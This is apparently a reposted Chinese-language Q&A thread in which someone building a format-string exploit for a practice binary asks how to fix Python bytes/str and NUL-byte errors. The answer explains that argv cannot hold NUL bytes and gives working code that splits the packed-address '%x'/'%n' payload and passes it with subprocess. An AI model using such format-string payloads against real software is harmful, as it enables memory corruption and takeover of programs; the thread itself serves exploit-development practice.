我正在尝试为练习创建漏洞利用程序,但是以下代码存在问题:
#!/usr/bin/python
import os
import struct
address = struct.pack("I",0x201014)
payload = address+"." + ".%x."*131 + ".%n."
os.system("/home/osboxes/Desktop/formatString " + payload)
但是错误如下:TypeError:system()参数1必须是不包含空字节的字符串,而不是str
我正在尝试使用“ subprocess”实用程序升级到当前版本的python:
#!/usr/bin/python3
import subprocess
import struct
address = struct.pack("I",0x201014)
payload = address+"." + ".%x."*131 + ".%n."
subprocess.call("/home/osboxes/Desktop/formatString " + payload, shell=True)
但是错误如下:TypeError:无法将str连接为字节
如何解决两个版本的字节或str转换问题?两个程序都同意该错误在“有效载荷= ...”行中
该字符串不能在UNIX上作为命令行参数传递。
为什么?因为它包含NUL文字,并且UNIX命令行由C字符串组成-C字符串以NUL终止。
>>> address = struct.pack("I",0x201014)
>>> address
b'\x14\x10 \x00'
看到了\x00
吗?不允许,不可能-至少不作为一个命令行参数。
但是,只要将其拆分为多个参数,就可以将其放在argv中。请注意shell=False
以下几点:
payload = (address + (b'.%x.' * 131) + b'.%n.').split(b'\0')
subprocess.call(['/home/osboxes/Desktop/formatString'] + payload)
这是如何运作的?因为终止每个单独的C字符串的\x00
s隐式存在于边界点处。
本文收集自互联网,转载请注明来源。
如有侵权,请联系[email protected] 删除。
我来说两句